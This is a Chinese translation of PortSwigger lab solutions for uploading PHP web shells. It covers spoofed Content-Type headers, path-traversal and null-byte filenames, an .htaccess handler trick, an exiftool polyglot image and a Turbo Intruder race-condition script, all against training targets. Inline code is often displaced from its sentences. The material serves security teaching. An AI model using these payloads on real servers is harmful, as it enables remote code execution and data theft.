通过 Web shell 上传远程执行代码
lab
实验室:通过 Web shell 上传远程执行代码 |网络安全学院 (portswigger.net)
solve
- 在通过 Burp 代理流量时,请登录您的帐户并注意上传头像图像的选项。
- 上传任意图片,然后返回您的帐户页面。请注意,您的头像预览现在显示在页面上。
- 在 Burp 中,转到代理> HTTP 历史记录。单击筛选器栏以打开“筛选器设置”对话框。在“按 MIME 类型筛选”下,启用“图像”复选框,然后应用更改。
- 在代理历史记录中,请注意,您的图像是使用对 的请求获取的。将此请求发送到 Burp Repeater。
GET
`/files/avatars/` 在您的系统上,创建一个名为 的文件,其中包含一个用于获取 Carlos 机密文件内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 使用头像上传功能上传您的恶意PHP文件。响应中的消息确认已成功上传。
在 Burp Repeater 中,将请求的路径更改为指向您的 PHP 文件:
GET /files/avatars/exploit.php HTTP/1.1
- 发送请求。请注意,服务器已执行您的脚本,并在响应中返回其输出(Carlos 的机密)。
- 提交秘密以解决实验室问题。
通过 Content-Type 限制绕过上传 Web shell
lab
实验室:通过 Content-Type 限制绕过上传 Web shell |网络安全学院 (portswigger.net)
solve
- 登录并上传图片作为您的头像,然后返回您的帐户页面。
- 在 Burp 中,转到 Proxy > HTTP 历史记录,并注意您的图像是使用 .将此请求发送到 Burp Repeater。
GET
`/files/avatars/` 在您的系统上,创建一个名为 的文件,其中包含用于获取 Carlos 密钥内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 尝试上传此脚本作为您的头像。响应指示您只能上传 MIME 类型为 或 的文件。
image/jpeg
`image/png` - 在 Burp 中,返回代理历史记录并找到用于提交文件上传的请求。将此发送到 Burp Repeater。
POST /my-account/avatar
- 在 Burp Repeater 中,转到包含请求的选项卡。在与文件相关的邮件正文部分中,将指定的更改为 。
POST /my-account/avatar
`Content-Type`image/jpeg
- 发送请求。请注意,响应指示您的文件已成功上传。
- 切换到包含请求的另一个 Repeater 选项卡。在路径中,将映像文件的名称替换为 并发送请求。请注意,卡洛斯的秘密在响应中被返回。
GET /files/avatars/<YOUR-IMAGE>
`exploit.php` - 提交秘密以解决实验室问题。
通过路径遍历上传 Web shell
lab
实验室:通过路径遍历上传 Web shell |网络安全学院 (portswigger.net)
solve
- 登录并上传图片作为您的头像,然后返回您的帐户页面。
- 在 Burp 中,转到 Proxy > HTTP 历史记录,并注意您的图像是使用 .将此请求发送到 Burp Repeater。
GET
`/files/avatars/` 在您的系统上,创建一个名为 的文件,其中包含用于获取 Carlos 密钥内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 上传此脚本作为您的头像。请注意,该网站似乎并没有阻止您上传PHP文件。
- 在 Burp Repeater 中,转到包含请求的选项卡。在路径中,将映像文件的名称替换为 并发送请求。请注意,服务器没有执行脚本并返回输出,而是以纯文本形式返回了 PHP 文件的内容。
GET /files/avatars/<YOUR-IMAGE>
`exploit.php` - 在 Burp 的代理历史记录中,找到用于提交文件上传的请求并将其发送到 Burp Repeater。
POST /my-account/avatar
在 Burp Repeater 中,转到包含请求的选项卡,然后找到与您的 PHP 文件相关的请求正文部分。在标头中,将 更改为包含目录遍历序列:
POST /my-account/avatar
`Content-Disposition`filename
Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
- 发送请求。请注意,响应显示 This is indicate the server is strip the directory 遍历序列 from the file name。
The file avatars/exploit.php has been uploaded.
通过对正斜杠 () 字符进行 URL 编码来对目录遍历序列进行模糊处理,结果如下:
/
filename="..%2fexploit.php"
- 发送请求并观察消息现在显示 This 表示服务器正在对文件名进行 URL 解码。
The file avatars/../exploit.php has been uploaded.
- 在浏览器中,返回您的帐户页面。
- 在 Burp 的代理历史记录中,找到该请求。请注意,卡洛斯的秘密在响应中被返回。这表示文件已上传到文件系统层次结构 () 中的更高目录,随后由服务器执行。请注意,这意味着您也可以使用 .
GET /files/avatars/..%2fexploit.php
`/files`GET /files/exploit.php
- 提交秘密以解决实验室问题。
通过扩展黑名单绕过上传 Web shell
lab
实验室:通过扩展黑名单绕过上传 Web shell |网络安全学院 (portswigger.net)
solve
- 登录并上传图片作为您的头像,然后返回您的帐户页面。
- 在 Burp 中,转到 Proxy > HTTP 历史记录,并注意您的图像是使用 .将此请求发送到 Burp Repeater。
GET
`/files/avatars/` 在您的系统上,创建一个名为的文件,其中包含用于获取 Carlos 密钥内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 尝试上传此脚本作为您的头像。响应指示不允许上传带有扩展名的文件。
.php
- 在 Burp 的代理历史记录中,找到用于提交文件上传的请求。请注意,在响应中,标头显示您正在与 Apache 服务器通信。将此请求发送到 Burp Repeater。
POST /my-account/avatar
在 Burp Repeater 中,转到请求的选项卡,然后找到与您的 PHP 文件相关的正文部分。进行以下更改:
POST /my-account/avatar
- 将参数的值更改为 。
filename
`.htaccess` - 将标头的值更改为 。
Content-Type
`text/plain` 将文件的内容(PHP 有效负载)替换为以下 Apache 指令:
AddType application/x-httpd-php .l33t
这会将任意扩展名 () 映射到可执行 MIME 类型。当服务器使用该模块时,它已经知道如何处理这个问题。
.l33t
`application/x-httpd-php`mod_php
- 将参数的值更改为 。
- 发送请求并观察文件是否已成功上传。
- 使用 Burp Repeater 中的后退箭头返回到上传 PHP 漏洞的原始请求。
- 将参数的值从 更改为 。再次发送请求,并注意文件已成功上传。
filename
`exploit.php`exploit.l33t
- 切换到包含请求的另一个 Repeater 选项卡。在路径中,将映像文件的名称替换为 并发送请求。请注意,卡洛斯的秘密在响应中被返回。由于我们的恶意文件,该文件被执行,就好像它是一个文件一样。
GET /files/avatars/<YOUR-IMAGE>
`exploit.l33t.htaccess
.l33t`.php
- 提交秘密以解决实验室问题。
通过混淆文件扩展名上传 Web shell
lab
实验室:通过混淆文件扩展上传 Web shell |网络安全学院 (portswigger.net)
solve
- 登录并上传图片作为您的头像,然后返回您的帐户页面。
- 在 Burp 中,转到 Proxy > HTTP 历史记录,并注意您的图像是使用 .将此请求发送到 Burp Repeater。
GET
`/files/avatars/` 在您的系统上,创建一个名为 的文件,其中包含用于获取 Carlos 密钥内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 尝试上传此脚本作为您的头像。响应指示您只允许上传 JPG 和 PNG 文件。
- 在 Burp 的代理历史记录中,找到用于提交文件上传的请求。将此发送到 Burp Repeater。
POST /my-account/avatar
在 Burp Repeater 中,转到请求的选项卡,然后找到与您的 PHP 文件相关的正文部分。在标头中,更改参数的值以包含 URL 编码的 null 字节,后跟扩展名:
POST /my-account/avatar
`Content-Dispositionfilename
.jpg`filename="exploit.php%00.jpg"
- 发送请求并观察文件是否已成功上传。请注意,该消息将该文件称为 ,表明已剥离 null 字节和扩展名。
exploit.php
`.jpg` - 切换到包含请求的另一个 Repeater 选项卡。在路径中,将映像文件的名称替换为 并发送请求。请注意,卡洛斯的秘密在响应中被返回。
GET /files/avatars/<YOUR-IMAGE>
`exploit.php` - 提交秘密以解决实验室问题。
通过多语言 Web shell 上传远程执行代码
lab
实验室:通过多语言 Web shell 上传远程执行代码 |网络安全学院 (portswigger.net)
solve
在您的系统上,创建一个名为的文件,其中包含用于获取 Carlos 密钥内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 登录并尝试上传脚本作为您的头像。请注意,即使您尝试使用在以前的实验中学到的一些技术,服务器也会成功阻止您上传非图像文件。
创建一个多语言 PHP/JPG 文件,该文件基本上是一个普通图像,但在其元数据中包含您的 PHP 有效负载。执行此操作的简单方法是从命令行下载并运行 ExifTool(apt-get install exiftool),如下所示:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
这会将您的 PHP 有效负载添加到图像的字段中,然后使用扩展名保存图像。
Comment
`.php`- 在浏览器中,上传多语言图像作为您的头像,然后返回您的帐户页面。
在 Burp 的代理历史记录中,找到该请求。使用消息编辑器的搜索功能在响应的二进制图像数据中的某个位置查找字符串。在 this 和 string 之间,您应该看到 Carlos 的 secret,例如:
GET /files/avatars/polyglot.php
`START`END
START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
- 提交秘密以解决实验室问题。
通过争用条件上传 Web shell
lab
实验室:通过争用条件上传 Web shell |网络安全学院 (portswigger.net)
提示
引入此争用条件的易受攻击的代码如下所示:
<?php $target_dir = "avatars/"; $target_file = $target_dir . $_FILES["avatar"]["name"]; // temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file))
{ echo "The file ". htmlspecialchars( $target_file). " has been uploaded."; }
else
{ unlink($target_file); echo "Sorry, there was an error uploading your file."; http_response_code(403); } function checkViruses($fileName) { // checking for viruses ... } function checkFileType($fileName) { $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION)); if($imageFileType != "jpg" && $imageFileType != "png") { echo "Sorry, only JPG & PNG files are allowed\n"; return false; } else { return true; } } ?>
solve
从上面的源代码中可以看出,上传的文件被移动到一个可访问的文件夹中,在那里检查是否有病毒。只有在病毒检查完成后,才会删除恶意文件。这意味着可以在删除文件之前在较小的时间窗口内执行文件。
注意
由于此竞争条件的时间窗口很长,因此可以通过使用 Burp Repeater 快速连续手动发送两个请求来解决此实验。此处描述的解决方案教您一种实用的方法,用于在野外利用类似的漏洞,其中窗口可能只有几毫秒。
- 登录并上传图片作为您的头像,然后返回您的帐户页面。
- 在 Burp 中,转到 Proxy > HTTP 历史记录,并注意您的图像是使用 .
GET
`/files/avatars/` 在您的系统上,创建一个名为的文件,其中包含用于获取 Carlos 密钥内容的脚本。例如:
exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
- 登录并尝试上传脚本作为您的头像。请注意,服务器似乎成功阻止你上传非图像文件,即使你尝试使用在以前的实验中学到的一些技术也是如此。
- 如果尚未添加,请从 BApp 商店将 Turbo Intruder 扩展添加到 Burp。
- 右键单击用于提交文件上传的请求,然后选择 Turbo Intruder > Extensions > Send to turbo intruder。“Turbo Intruder”(涡轮入侵者)窗口打开。
POST /my-account/avatar
将以下脚本模板复制并粘贴到 Turbo Intruder 的 Python 编辑器中:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 = '''<YOUR-POST-REQUEST>''' request2 = '''<YOUR-GET-REQUEST>''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)
- 在脚本中,替换为包含文件的整个请求。您可以从 Turbo Intruder 窗口的顶部复制并粘贴它。
<YOUR-POST-REQUEST>
`POST /my-account/avatar`exploit.php
- 替换为获取上传的 PHP 文件的请求。执行此操作的最简单方法是从代理历史记录中复制请求,然后将路径中的文件名更改为 。
<YOUR-GET-REQUEST>
`GETGET /files/avatars/<YOUR-IMAGE>
exploit.php` - 在 Turbo Intruder 窗口的底部,单击 Attack。此脚本将提交一个上传文件的请求,然后立即提交 5 个请求。
POST
`exploit.phpGET
/files/avatars/exploit.php` - 请注意,在结果列表中,某些请求收到了包含 Carlos 机密的 200 个响应。这些请求在上传 PHP 文件后,但在验证失败并被删除之前到达服务器。
GET
- 提交秘密以解决实验室问题。
注意
如果选择手动生成请求,请确保使用序列正确终止请求。还要记住,Python 会保留多行字符串中的任何空格,因此您需要相应地调整缩进以确保发送有效的请求。GET
`\r\n\r\n`
评论0
暂时没有评论